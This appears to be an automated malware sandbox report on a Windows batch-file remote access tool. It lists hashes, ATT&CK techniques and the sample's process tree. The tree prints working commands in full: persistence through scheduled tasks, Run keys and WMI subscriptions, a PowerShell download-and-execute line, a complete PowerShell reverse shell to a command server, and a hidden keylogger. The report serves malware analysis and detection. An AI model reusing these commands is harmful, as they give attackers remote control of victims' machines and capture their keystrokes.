54114a37041f372eb024bde9850ab3a66e891084fb48bbbba85ea933cddc4c81

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:37

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General

Target
rat_build_259990_014703.bat
Size 4KB
Sample260529-b136qagy7m
SHA256 54114a37041f372eb024bde9850ab3a66e891084fb48bbbba85ea933cddc4c81
MD5 a2ad3a39aef6345554faa88cd94fd38d
SHA1 33eaef21719884383c5d56faa365415663de1fef
SHA512 ccf6e9279acb4627897648cf7e90fa84a7814db42845af26cbd464dab7ff1d96bb630a5ce44013afe94992d796b9066ee2820b4f6244c8fea24d74c95a76dc30
SSDEEP 96:bJIhjWEA9/NSaiWr6Gc+zTWsFFxYi1Uxg4vfqmgG/8gdQnSbiFgZk8mvlo1cKO:ltEA9/rLcGciyg4vCmgG/8fSbiFgkHl/
TLSH
T136A1F52B57576014D5B02568CA323C54A36CE6FB1300CA9CFB898CC81E89F53D6286E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_259990.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
5676	powershell.exe
3900	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_259990 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_259990.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1704	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5240	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5656	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4600	powershell.exe
4600	powershell.exe
5676	powershell.exe
5676	powershell.exe
3900	powershell.exe
3900	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5408	WMIC.exe
Token: SeSecurityPrivilege	5408	WMIC.exe
Token: SeTakeOwnershipPrivilege	5408	WMIC.exe
Token: SeLoadDriverPrivilege	5408	WMIC.exe
Token: SeSystemProfilePrivilege	5408	WMIC.exe
Token: SeSystemtimePrivilege	5408	WMIC.exe
Token: SeProfSingleProcessPrivilege	5408	WMIC.exe
Token: SeIncBasePriorityPrivilege	5408	WMIC.exe
Token: SeCreatePagefilePrivilege	5408	WMIC.exe
Token: SeBackupPrivilege	5408	WMIC.exe
Token: SeRestorePrivilege	5408	WMIC.exe
Token: SeShutdownPrivilege	5408	WMIC.exe
Token: SeDebugPrivilege	5408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5408	WMIC.exe
Token: SeRemoteShutdownPrivilege	5408	WMIC.exe
Token: SeUndockPrivilege	5408	WMIC.exe
Token: SeManageVolumePrivilege	5408	WMIC.exe
Token: 33	5408	WMIC.exe
Token: 34	5408	WMIC.exe
Token: 35	5408	WMIC.exe
Token: 36	5408	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5408	WMIC.exe
Token: SeSecurityPrivilege	5408	WMIC.exe
Token: SeTakeOwnershipPrivilege	5408	WMIC.exe
Token: SeLoadDriverPrivilege	5408	WMIC.exe
Token: SeSystemProfilePrivilege	5408	WMIC.exe
Token: SeSystemtimePrivilege	5408	WMIC.exe
Token: SeProfSingleProcessPrivilege	5408	WMIC.exe
Token: SeIncBasePriorityPrivilege	5408	WMIC.exe
Token: SeCreatePagefilePrivilege	5408	WMIC.exe
Token: SeBackupPrivilege	5408	WMIC.exe
Token: SeRestorePrivilege	5408	WMIC.exe
Token: SeShutdownPrivilege	5408	WMIC.exe
Token: SeDebugPrivilege	5408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5408	WMIC.exe
Token: SeRemoteShutdownPrivilege	5408	WMIC.exe
Token: SeUndockPrivilege	5408	WMIC.exe
Token: SeManageVolumePrivilege	5408	WMIC.exe
Token: 33	5408	WMIC.exe
Token: 34	5408	WMIC.exe
Token: 35	5408	WMIC.exe
Token: 36	5408	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3244	WMIC.exe
Token: SeSecurityPrivilege	3244	WMIC.exe
Token: SeTakeOwnershipPrivilege	3244	WMIC.exe
Token: SeLoadDriverPrivilege	3244	WMIC.exe
Token: SeSystemProfilePrivilege	3244	WMIC.exe
Token: SeSystemtimePrivilege	3244	WMIC.exe
Token: SeProfSingleProcessPrivilege	3244	WMIC.exe
Token: SeIncBasePriorityPrivilege	3244	WMIC.exe
Token: SeCreatePagefilePrivilege	3244	WMIC.exe
Token: SeBackupPrivilege	3244	WMIC.exe
Token: SeRestorePrivilege	3244	WMIC.exe
Token: SeShutdownPrivilege	3244	WMIC.exe
Token: SeDebugPrivilege	3244	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3244	WMIC.exe
Token: SeRemoteShutdownPrivilege	3244	WMIC.exe
Token: SeUndockPrivilege	3244	WMIC.exe
Token: SeManageVolumePrivilege	3244	WMIC.exe
Token: 33	3244	WMIC.exe
Token: 34	3244	WMIC.exe
Token: 35	3244	WMIC.exe
Token: 36	3244	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3244	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5156 wrote to memory of 4688	5156	cmd.exe	82
PID 5156 wrote to memory of 5656	5156	cmd.exe	83
PID 5156 wrote to memory of 5408	5156	cmd.exe	84
PID 5156 wrote to memory of 3244	5156	cmd.exe	85
PID 5156 wrote to memory of 5624	5156	cmd.exe	86
PID 5156 wrote to memory of 5240	5156	cmd.exe	87
PID 5156 wrote to memory of 1704	5156	cmd.exe	91
PID 5156 wrote to memory of 4600	5156	cmd.exe	92
PID 5156 wrote to memory of 5676	5156	cmd.exe	93
PID 5156 wrote to memory of 3900	5156	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_259990_014703.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5156
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_259990" /tr "C:\Users\Admin\AppData\Local\Temp\_259990.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4688
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_259990" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_259990.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5656
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_259990", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5408
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_259990", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_259990.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3244
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_259990.txt
  2⤵
  PID:5624
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5240
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_259990.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b14b48326a1201fc8b9667201c15392e52f7f5819c2aadafe19cbb72b08be51
MD5 04493ed4421328d5e40252891bfe515a
SHA1 ab8a4e3909ff849549ea989049ed30b490f274e7
SHA512 c8ca89143763a72f4ce8f10ffa2e161b59d41454bad0f71fcb4c7e9c8861a5d99bdc787907761bfb8439afad1f0557a1338bbb1054f5810de807633f515d5a76
TLSH
T1A551CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 27d0b6d6e9d1e0eb2f56d0bb315e2fb229b4a7185be2c15ca0d37dcbb77cf75c
MD5 201ba5d70838f2a59c61a1590021f247
SHA1 a10625676877ac9cb33c425acc936fbc62f0e1a2
SHA512 6bccda60de5fe497279e9a1d4b470d6c8698923a83a5903298db385c1bcee2b0b7c3ffc18651199ce5e8d46730babfff536f2c45a59a0a5383d4cfb3dda01716
TLSH
T160117A33B79CC134C89A117A10CDAD11B2B4C3DB44AEDE9B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5uaev1zf.4rh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5uaev1zf.4rh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4600-9-0x00000215FB4A0000-0x00000215FB4C2000-memory.dmp

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